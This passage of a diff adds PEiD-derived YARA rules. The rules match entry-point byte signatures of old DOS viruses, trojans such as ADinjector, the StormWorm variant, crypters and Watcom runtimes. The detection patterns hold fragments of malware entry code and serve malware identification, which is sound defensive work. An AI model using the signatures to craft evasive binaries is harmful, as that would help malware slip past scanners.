+        $a = {E8 ?? ?? 5E 81 EE ?? ?? FC ?? 2E ?? ?? ?? ?? 4D 5A ?? ?? FA ?? 8B E6 81 ?? ?? ?? FB ?? 3B ?? ?? ?? ?? ?? 50 06 ?? 56 1E 8B FE 33 C0 ?? 50 8E D8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03383_Vx__Einstein_
+{
+    meta:
+        description = "[Vx: Einstein]"
+        ep_only = "true"
+    strings:
+        $a = {00 42 CD 21 72 31 B9 6E 03 33 D2 B4 40 CD 21 72 19 3B C1 75 15 B8 00 42}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03384_Vx__Explosion_1000_
+{
+    meta:
+        description = "[Vx: Explosion.1000]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5E 1E 06 50 81 ?? ?? ?? 56 FC B8 21 35 CD 21 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 26 ?? ?? ?? ?? ?? ?? 74 ?? 8C D8 48 8E D8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03385_Vx__FaxFree_Topo_
+{
+    meta:
+        description = "[Vx: FaxFree.Topo]"
+        ep_only = "true"
+    strings:
+        $a = {FA 06 33 C0 8E C0 B8 ?? ?? 26 ?? ?? ?? ?? 50 8C C8 26 ?? ?? ?? ?? 50 CC 58 9D 58 26 ?? ?? ?? ?? 58 26 ?? ?? ?? ?? 07 FB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03386_Vx__Gotcha_879_
+{
+    meta:
+        description = "[Vx: Gotcha.879]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5B 81 EB ?? ?? 9C FC 2E ?? ?? ?? ?? ?? ?? ?? 8C D8 05 ?? ?? 2E ?? ?? ?? ?? 50 2E ?? ?? ?? ?? ?? ?? 8B C3 05 ?? ?? 8B F0 BF 00 01 B9 20 00 F3 A4 0E B8 00 01 50 B8 DA DA CD 21}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03387_Vx__Grazie_883_
+{
+    meta:
+        description = "[Vx: Grazie.883]"
+        ep_only = "true"
+    strings:
+        $a = {1E 0E 1F 50 06 BF 70 03 B4 1A BA 70 03 CD 21 B4 47 B2 00 BE 32 04 CD 21}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03388_Vx__GRUNT_1_Family_
+{
+    meta:
+        description = "[Vx: GRUNT.1.Family]"
+        ep_only = "true"
+    strings:
+        $a = {01 B9 ?? 00 31 17}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03389_Vx__GRUNT_2_Family_
+{
+    meta:
+        description = "[Vx: GRUNT.2.Family]"
+        ep_only = "true"
+    strings:
+        $a = {48 E2 F7 C3 51 53 52 E8 DD FF 5A 5B 59 C3 B9 00 00 E2 FE C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03390_Vx__GRUNT_4_Family_
+{
+    meta:
+        description = "[Vx: GRUNT.4.Family]"
+        ep_only = "true"
+    strings:
+        $a = {E8 1C 00 8D 9E 41 01 40 3E 8B 96 14 03 B9 EA 00 87 DB F7 D0 31 17 83 C3 02 E2 F7 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03391_Vx__Hafen_1641_
+{
+    meta:
+        description = "[Vx: Hafen.1641]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 01 ?? ?? ?? CE CC 25 ?? ?? 25 ?? ?? 25 ?? ?? 40 51 D4 ?? ?? ?? CC 47 CA ?? ?? 46 8A CC 44 88 CC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03392_Vx__Hafen_809_
+{
+    meta:
+        description = "[Vx: Hafen.809]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 1C ?? 81 EE ?? ?? 50 1E 06 8C C8 8E D8 06 33 C0 8E C0 26 ?? ?? ?? 07 3D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03393_Vx__Haryanto_
+{
+    meta:
+        description = "[Vx: Haryanto]"
+        ep_only = "true"
+    strings:
+        $a = {81 EB 2A 01 8B 0F 1E 5B 03 CB 0E 51 B9 10 01 51 CB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03394_Vx__Heloween_1172_
+{
+    meta:
+        description = "[Vx: Heloween.1172]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5E 81 EE ?? ?? 56 50 06 0E 1F 8C C0 01 ?? ?? 01 ?? ?? 80 ?? ?? ?? ?? 8B ?? ?? A3 ?? ?? 8A ?? ?? A2 ?? ?? B8 ?? ?? CD 21 3D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03395_Vx__Horse_1776_
+{
+    meta:
+        description = "[Vx: Horse.1776]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5D 83 ?? ?? 06 1E 26 ?? ?? ?? ?? BF ?? ?? 1E 0E 1F 8B F7 01 EE B9 ?? ?? FC F3 A6 1F 1E 07}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03396_Vx__Hymn_1865_
+{
+    meta:
+        description = "[Vx: Hymn.1865]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5E 83 EE 4C FC 2E ?? ?? ?? ?? 4D 5A ?? ?? FA 8B E6 81 ?? ?? ?? FB 3B ?? ?? ?? ?? ?? 2E ?? ?? ?? ?? ?? 50 06 56 1E 0E 1F B8 00 C5 CD 21}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03397_Vx__Igor_
+{
+    meta:
+        description = "[Vx: Igor]"
+        ep_only = "true"
+    strings:
+        $a = {1E B8 CD 7B CD 21 81 FB CD 7B 75 03 E9 87 00 33 DB 0E 1F 8C}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03398_Vx__Involuntary_1349_
+{
+    meta:
+        description = "[Vx: Involuntary.1349]"
+        ep_only = "true"
+    strings:
+        $a = {?? BA ?? ?? B9 ?? ?? 8C DD ?? 8C C8 ?? 8E D8 8E C0 33 F6 8B FE FC ?? ?? AD ?? 33 C2 AB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03399_Vx__KBDflags_1024_
+{
+    meta:
+        description = "[Vx: KBDflags.1024]"
+        ep_only = "true"
+    strings:
+        $a = {8B EC 2E 89 2E 24 03 BC 00 04 8C D5 2E 89 2E 22}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03400_Vx__Keypress_1212_
+{
+    meta:
+        description = "[Vx: Keypress.1212]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? E8 ?? ?? E8 ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? EA ?? ?? ?? ?? 1E 33 DB 8E DB BB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03401_Vx__Kuku_448_
+{
+    meta:
+        description = "[Vx: Kuku.448]"
+        ep_only = "true"
+    strings:
+        $a = {AE 75 ED E2 F8 89 3E ?? ?? BA ?? ?? 0E 07 BF ?? ?? EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03402_Vx__Kuku_886_
+{
+    meta:
+        description = "[Vx: Kuku.886]"
+        ep_only = "true"
+    strings:
+        $a = {06 1E 50 8C C8 8E D8 BA 70 03 B8 24 25 CD 21 ?? ?? ?? ?? ?? 90 B4 2F CD 21 53}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03403_Vx__Modification_of_Hi_924_
+{
+    meta:
+        description = "[Vx: Modification of Hi.924]"
+        ep_only = "true"
+    strings:
+        $a = {50 53 51 52 1E 06 9C B8 21 35 CD 21 53 BB ?? ?? 26 ?? ?? 49 48 5B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03404_Vx__MTE__non_encrypted__
+{
+    meta:
+        description = "[Vx: MTE (non-encrypted)]"
+        ep_only = "true"
+    strings:
+        $a = {F7 D9 80 E1 FE 75 02 49 49 97 A3 ?? ?? 03 C1 24 FE 75 02 48}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03405_Vx__Ncu_Li_1688_
+{
+    meta:
+        description = "[Vx: Ncu-Li.1688]"
+        ep_only = "true"
+    strings:
+        $a = {0E 1E B8 55 AA CD 21 3D 49 4C 74 ?? 0E 0E 1F 07 E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03406_Vx__Necropolis_1963_
+{
+    meta:
+        description = "[Vx: Necropolis.1963]"
+        ep_only = "true"
+    strings:
+        $a = {B4 30 CD 21 3C 03 ?? ?? B8 00 12 CD 2F 3C FF B8 ?? ?? ?? ?? B4 4A BB 40 01 CD 21 ?? ?? FA 0E 17 BC ?? ?? E8 ?? ?? FB A1 ?? ?? 0B C0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03407_Vx__Necropolis_
+{
+    meta:
+        description = "[Vx: Necropolis]"
+        ep_only = "true"
+    strings:
+        $a = {50 FC AD 33 C2 AB 8B D0 E2 F8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03408_Vx__Noon_1163_
+{
+    meta:
+        description = "[Vx: Noon.1163]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5B 50 56 B4 CB CD 21 3C 07 ?? ?? 81 ?? ?? ?? 2E ?? ?? 4D 5A ?? ?? BF 00 01 89 DE FC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03409_Vx__November_17_768_
+{
+    meta:
+        description = "[Vx: November 17.768]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5E 81 EE ?? ?? 50 33 C0 8E D8 80 3E ?? ?? ?? 0E 1F ?? ?? FC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03410_Vx__Number_One_
+{
+    meta:
+        description = "[Vx: Number One]"
+        ep_only = "true"
+    strings:
+        $a = {F9 07 3C 53 6D 69 6C 65 3E E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03411_Vx__Phoenix_927_
+{
+    meta:
+        description = "[Vx: Phoenix.927]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 5E 81 C6 ?? ?? BF 00 01 B9 04 00 F3 A4 E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03412_Vx__Predator_2448_
+{
+    meta:
+        description = "[Vx: Predator.2448]"
+        ep_only = "true"
+    strings:
+        $a = {0E 1F BF ?? ?? B8 ?? ?? B9 ?? ?? 49 ?? ?? ?? ?? 2A C1 4F 4F ?? ?? F9 CC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03413_Vx__Quake_518_
+{
+    meta:
+        description = "[Vx: Quake.518]"
+        ep_only = "true"
+    strings:
+        $a = {1E 06 8C C8 8E D8 ?? ?? ?? ?? ?? ?? ?? B8 21 35 CD 21 81}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03414_Vx__SK_
+{
+    meta:
+        description = "[Vx: SK]"
+        ep_only = "true"
+    strings:
+        $a = {CD 20 B8 03 00 CD 10 51 E8 00 00 5E 83 EE 09}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03415_Vx__Slowload_
+{
+    meta:
+        description = "[Vx: Slowload]"
+        ep_only = "true"
+    strings:
+        $a = {03 D6 B4 40 CD 21 B8 02 42 33 D2 33 C9 CD 21 8B D6 B9 78 01}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03416_Vx__Sonik_Youth_
+{
+    meta:
+        description = "[Vx: Sonik Youth]"
+        ep_only = "true"
+    strings:
+        $a = {8A 16 02 00 8A 07 32 C2 88 07 43 FE C2 81 FB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03417_Vx__Spanz_
+{
+    meta:
+        description = "[Vx: Spanz]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 5E 81 EE ?? ?? 8D 94 ?? ?? B4 1A CD 21 C7 84}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03418_Vx__SYP_
+{
+    meta:
+        description = "[Vx: SYP]"
+        ep_only = "true"
+    strings:
+        $a = {47 8B C2 05 1E 00 52 8B D0 B8 02 3D CD 21 8B D8 5A}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03419_VX__Tibs_Zhelatin__StormWorm__variant_
+{
+    meta:
+        description = "[VX: Tibs/Zhelatin \"StormWorm\" variant]"
+        ep_only = "true"
+    strings:
+        $a = {FF 74 24 1C 58 8D 80 ?? ?? 77 04 50 68 62 34 35 04 E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03420_Vx__TravJack_883_
+{
+    meta:
+        description = "[Vx: TravJack.883]"
+        ep_only = "true"
+    strings:
+        $a = {EB ?? 9C 9E 26 ?? ?? 51 04 ?? 7D ?? 00 ?? 2E ?? ?? ?? ?? 8C C8 8E C0 8E D8 80 ?? ?? ?? ?? 74 ?? 8A ?? ?? ?? BB ?? ?? 8A ?? 32 C2 88 ?? FE C2 43 81}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03421_Vx__Trivial_25_
+{
+    meta:
+        description = "[Vx: Trivial.25]"
+        ep_only = "true"
+    strings:
+        $a = {B4 4E FE C6 CD 21 B8 ?? 3D BA ?? 00 CD 21 93 B4 40 CD}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03422_Vx__Trivial_46_
+{
+    meta:
+        description = "[Vx: Trivial.46]"
+        ep_only = "true"
+    strings:
+        $a = {B4 4E B1 20 BA ?? ?? CD 21 BA ?? ?? B8 ?? 3D CD 21}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03423_Vx__Trojan_Telefoon_
+{
+    meta:
+        description = "[Vx: Trojan.Telefoon]"
+        ep_only = "true"
+    strings:
+        $a = {60 1E E8 3B 01 BF CC 01 2E 03 3E CA 01 2E C7 05}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03424_Vx__Uddy_2617_
+{
+    meta:
+        description = "[Vx: Uddy.2617]"
+        ep_only = "true"
+    strings:
+        $a = {2E ?? ?? ?? ?? ?? 2E ?? ?? ?? ?? ?? 2E ?? ?? ?? 8C C8 8E D8 8C ?? ?? ?? 2B ?? ?? ?? 03 ?? ?? ?? A3 ?? ?? A1 ?? ?? A3 ?? ?? A1 ?? ?? A3 ?? ?? 8C C8 2B ?? ?? ?? 03 ?? ?? ?? A3 ?? ?? B8 AB 9C CD 2F 3D 76 98}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03425_Vx__VCL__encrypted__
+{
+    meta:
+        description = "[Vx: VCL (encrypted)]"
+        ep_only = "true"
+    strings:
+        $a = {01 B9 ?? ?? 81 34 ?? ?? 46 46 E2 F8 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03426_Vx__VCL__encrypted__
+{
+    meta:
+        description = "[Vx: VCL (encrypted)]"
+        ep_only = "true"
+    strings:
+        $a = {01 B9 ?? ?? 81 35 ?? ?? 47 47 E2 F8 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03427_Vx__VCL_
+{
+    meta:
+        description = "[Vx: VCL]"
+        ep_only = "true"
+    strings:
+        $a = {AC B9 00 80 F2 AE B9 04 00 AC AE 75 ?? E2 FA 89}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03428_Vx__VirusConstructor_IVP__based_
+{
+    meta:
+        description = "[Vx: VirusConstructor(IVP).based]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? E8 ?? ?? 5D ?? ?? ?? ?? ?? 81 ED ?? ?? ?? ?? ?? ?? E8 ?? ?? 81 FC ?? ?? ?? ?? 8D ?? ?? ?? BF ?? ?? 57 A4 A5}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03429_Vx__VirusConstructor_based_
+{
+    meta:
+        description = "[Vx: VirusConstructor.based]"
+        ep_only = "true"
+    strings:
+        $a = {BB ?? ?? B9 ?? ?? 2E ?? ?? ?? ?? 43 43 ?? ?? 8B EC CC 8B ?? ?? 81 ?? ?? ?? 06 1E B8 ?? ?? CD 21 3D ?? ?? ?? ?? 8C D8 48 8E D8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03430_Vx__VirusConstructor_based_
+{
+    meta:
+        description = "[Vx: VirusConstructor.based]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5D 81 ?? ?? ?? 06 1E E8 ?? ?? E8 ?? ?? ?? ?? 2E ?? ?? ?? ?? ?? ?? B4 4A BB FF FF CD 21 83 ?? ?? B4 4A CD 21}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03431_Vx__XPEH_4768_
+{
+    meta:
+        description = "[Vx: XPEH.4768]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5B 81 ?? ?? ?? 50 56 57 2E ?? ?? ?? ?? ?? 2E ?? ?? ?? ?? ?? ?? B8 01 00 50 B8 ?? ?? 50 E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03432_Vx__XRCV_1015_
+{
+    meta:
+        description = "[Vx: XRCV.1015]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5E 83 ?? ?? 53 51 1E 06 B4 99 CD 21 80 FC 21 ?? ?? ?? ?? ?? 33 C0 50 8C D8 48 8E C0 1F A1 ?? ?? 8B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03433_W32_Jeefo__PE_File_Infector__
+{
+    meta:
+        description = "[W32.Jeefo (PE File Infector)]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 08 83 C4 F4 6A 02 A1 C8 ?? ?? ?? FF D0 E8 ?? ?? ?? ?? C9 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03434_WARNING____TROJAN____ADinjector_
+{
+    meta:
+        description = "[WARNING -> TROJAN -> ADinjector]"
+        ep_only = "true"
+    strings:
+        $a = {90 61 BE 00 20 44 00 8D BE 00 F0 FB FF C7 87 9C E0 04 00 6A F0 8A 5E 57 83 CD FF EB 0E}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03435_WARNING____TROJAN____HuiGeZi_
+{
+    meta:
+        description = "[WARNING -> TROJAN -> HuiGeZi]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 C4 ?? FE FF FF 53 56 57 33 C0 89 85 ?? FE FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03436_WARNING____TROJAN____RobinPE_
+{
+    meta:
+        description = "[WARNING -> TROJAN -> RobinPE]"
+        ep_only = "true"
+    strings:
+        $a = {60 6A 00 6A 20 6A 02 6A 00 6A 03 68 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03437_WARNING____TROJAN____XiaoHui_
+{
+    meta:
+        description = "[WARNING -> TROJAN -> XiaoHui]"
+        ep_only = "true"
+    strings:
+        $a = {60 9C E8 00 00 00 00 5D B8 ?? 85 40 00 2D ?? 85 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03438_Warning__may_be_SimbyOZ_polycryptor_by_3xpl01t_ver_2_xx__25_03_2007_22_00__
+{
+    meta:
+        description = "[Warning! may be SimbyOZ polycryptor by 3xpl01t ver 2.xx (25.03.2007 22:00)]"
+        ep_only = "true"
+    strings:
+        $a = {57 57 8D 7C 24 04 50 B8 00 D0 17 13 AB 58 5F C3 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03439_WATCOM_C_C___32_Run_Time_System_1988_1994_
+{
+    meta:
+        description = "[WATCOM C/C++ 32 Run-Time System 1988-1994]"
+        ep_only = "true"
+    strings:
+        $a = {FB 83 ?? ?? 89 E3 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 66 ?? ?? ?? 66 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 29 C0 B4 30 CD 21}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03440_WATCOM_C_C___32_Run_Time_System_1988_1995_
+{
+    meta:
+        description = "[WATCOM C/C++ 32 Run-Time System 1988-1995]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? ?? ?? ?? ?? ?? ?? 57 41 54 43 4F 4D 20 43 2F 43 2B 2B 33 32 20 52 75 6E 2D 54}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03441_WATCOM_C_C___32_Run_Time_System_1988_1995_
+{
+    meta:
+        description = "[WATCOM C/C++ 32 Run-Time System 1988-1995]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? ?? ?? ?? ?? ?? ?? 57 41 54 43 4F 4D ?? 43 2F 43 2B 2B 33 32 ?? 52 75}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03442_WATCOM_C_C___32_Run_Time_System_1989__1994_
+{
+    meta:
+        description = "[WATCOM C/C++ 32 Run-Time System 1989, 1994]"
+        ep_only = "true"
+    strings:
+        $a = {0E 1F 8C C6 B4 ?? 50 BB ?? ?? CD 21 73 ?? 58 CD 21 72}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03443_WATCOM_C_C___DLL_
+{
+    meta:
+        description = "[WATCOM C/C++ DLL]"
+        ep_only = "true"
+    strings:
+        $a = {53 56 57 55 8B 74 24 14 8B 7C 24 18 8B 6C 24 1C 83 FF 03 0F 87}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03444_WATCOM_C_C___Run_Time_system_DOS4GW_DOS_Extender_1988_93_
+{
+    meta:
+        description = "[WATCOM C/C++ Run-Time system+DOS4GW DOS Extender 1988-93]"
+        ep_only = "true"
+    strings:
+        $a = {BF ?? ?? 8E D7 81 C4 ?? ?? BE ?? ?? 2B F7 8B C6 B1 ?? D3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03445_Watcom_C_C___
+{
+    meta:
+        description = "[Watcom C/C++]"
+        ep_only = "false"
+    strings:
+        $a = {E9 ?? ?? 00 00 03 10 40 00 57 41 54 43 4F 4D 20 43 2F 43 2B 2B 33 32 20 52 75 6E 2D 54 69 6D 65 20 73 79 73 74 65 6D 2E 20 28 63 29 20 43 6F 70 79 72 69 67 68 74 20 62 79 20 57 41 54 43 4F 4D 20 49 6E 74 65 72 6E 61 74 69 6F 6E 61 6C 20 43 6F 72 70 2E 20}
+    condition:
+        $a
+}
+
+rule PEiD_03446_Watcom_C_C___
+{
+    meta:
+        description = "[Watcom C/C++]"
+        ep_only = "false"
+    strings:
+        $a = {E9 ?? ?? 00 00 03 10 40 00 57 41 54 43 4F 4D 20 43 2F 43 2B 2B 33 32 20 52 75 6E 2D 54 69 6D 65 20 73 79 73 74 65 6D 2E 20 28 63 29 20 43 6F 70 79 72 69 67 68 74 20 62 79 20 57 41 54 43 4F 4D 20 49 6E 74 65 72 6E 61 74 69 6F 6E 61 6C 20 43 6F 72 70 2E 20 31 39 38 38 2D 31 39 39 35 2E 20 41 6C 6C 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2E 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_03447_WebCops__DLL_
+{
+    meta:
+        description = "[WebCops [DLL]"
+        ep_only = "true"
+    strings:
+        $a = {A8 BE 58 DC D6 CC C4 63 4A 0F E0 02 BB CE F3 5C 50 23 FB 62 E7 3D 2B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03448_WebCops__EXE_
+{
+    meta:
+        description = "[WebCops [EXE]"
+        ep_only = "true"
+    strings:
+        $a = {EB 03 05 EB 02 EB FC 55 EB 03 EB 04 05 EB FB EB 53 E8 04 00 00 00 72}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03449_Werus_Crypter_1_0___by_Kas_
+{
+    meta:
+        description = "[Werus Crypter 1.0 - by Kas]"
+        ep_only = "true"
+    strings:
+        $a = {BB E8 12 40 00 80 33 05 E9 7D FF FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03450_Werus_Crypter_1_0____Kas_
+{
+    meta:
+        description = "[Werus Crypter 1.0 -> Kas]"
+        ep_only = "false"
+    strings:
+        $a = {68 98 11 40 00 6A 00 E8 50 00 00 00 C9 C3 ED B3 FE FF FF 6A 00 E8 0C 00 00 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40}
+    condition:
+        $a
+}
+
+rule PEiD_03451_Werus_Crypter_1_0____Kas_
+{
+    meta:
+        description = "[Werus Crypter 1.0 -> Kas]"
+        ep_only = "false"
+    strings:
+        $a = {68 98 11 40 00 6A 00 E8 50 00 00 00 C9 C3 ED B3 FE FF FF 6A 00 E8 0C 00 00 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 A8 10 40 00 FF 25 B0 10 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 BB E8 12 40 00 80 33 05 E9 7D FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_03452_WIBU_Key_V4_10A____WIBU_SYSTEMS_AG___Sign_by_fly_
+{
+    meta:
+        description = "[WIBU-Key V4.10A -> WIBU-SYSTEMS AG ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {F7 05 ?? ?? ?? ?? FF 00 00 00 75 12}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03453_Wind_of_Crypt_1_0___by_DarkPressure_
+{
+    meta:
+        description = "[Wind of Crypt 1.0 - by DarkPressure]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 EC 53 ?? ?? ?? ?? 89 45 EC B8 64 40 00 10 E8 28 EA FF FF 33 C0 55 68 CE 51 00 10 64 ?? ?? ?? ?? 20 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 8D 55 EC 33 C0 E8 F6 DB FF FF 8B 45 EC E8 12 E7 FF FF 50 E8 3C EA FF FF 8B D8 83 FB FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03454_Wind_of_Crypt_1_0___by_DarkPressure_
+{
+    meta:
+        description = "[Wind of Crypt 1.0 - by DarkPressure]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 EC 53 ?? ?? ?? ?? 89 45 EC B8 64 40 00 10 E8 28 EA FF FF 33 C0 55 68 CE 51 00 10 64 ?? ?? ?? ?? 20 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 8D 55 EC 33 C0 E8 F6 DB FF FF 8B 45 EC E8 12 E7 FF FF 50 E8 3C EA FF FF 8B D8 83 FB FF 0F 84 A6 00 00 00 6A 00 53 E8 41 EA FF FF 8B F0 81 EE 00 5E 00 00 6A 00 6A 00 68 00 5E 00 00 53 E8 52 EA FF FF B8 F4 97 00 10 8B D6 E8 2E E7 FF FF B8 F8 97 00 10 8B D6 E8 22 E7 FF FF 8B C6 E8 AB D8 FF FF 8B F8 6A 00 68 F0 97 00 10 56 A1 F4 97 00 10 50 53 E8 05 EA FF FF 53 E8 CF E9 FF FF B8 FC 97 00 10 BA E8 51 00 10 E8 74 EA FF FF A1 F4 97 00 10 85 C0 74 05 83 E8 04 8B 00 50 B9 F8 97 00 10 B8 FC 97 00 10 8B 15 F4 97 00 10 E8 D8 EA FF FF B8 FC 97 00 10 E8 5A EB FF FF 8B CE 8B 15 F8 97 00 10 8B C7 E8 EB E9 FF FF 8B C7 85 C0 74 05 E8 E4 EB FF FF 33 C0 5A 59 59 64 89 10 68 D5 51 00 10 8D 45 EC E8 BB E5 FF FF C3 E9 A9 DF FF FF EB F0 5F 5E 5B E8 B7 E4 FF FF 00 00 00 FF FF FF FF 0A 00 00 00 63 5A 6C 56 30 55 6C 6B 70 4D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03455_Windows_Animation_format_
+{
+    meta:
+        description = "[Windows Animation format]"
+        ep_only = "false"
+    strings:
+        $a = {52 49 46 46 ?? ?? ?? ?? 41 43 4F 4E 4C 49 53 54}
+    condition:
+        $a
+}
+
+rule PEiD_03456_Windows_Type_1_font_metric_file_
+{
+    meta:
+        description = "[Windows Type 1 font metric file]"
+        ep_only = "false"
+    strings:
+        $a = {00 01 ?? ?? 00 00 43 6F 70 79 72 69 67 68 74 20}
+    condition:
+        $a
+}
+
+rule PEiD_03457_WinKript_1_0____Mr__Crimson__h__
+{
+    meta:
+        description = "[WinKript 1.0 -> Mr. Crimson (h)]"
+        ep_only = "false"
+    strings:
+        $a = {33 C0 8B B8 00 ?? ?? ?? 8B 90 04 ?? ?? ?? 85 FF 74 1B 33 C9 50 EB 0C 8A 04 39 C0 C8 04 34 1B 88 04 39 41 3B CA 72 F0 58 83 C0 08 EB D5 61 E9 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_03458_WinKript_v1_0____Mr__Crimson__h__
+{
+    meta:
+        description = "[WinKript v1.0 -> Mr. Crimson (h)]"
+        ep_only = "true"
+    strings:
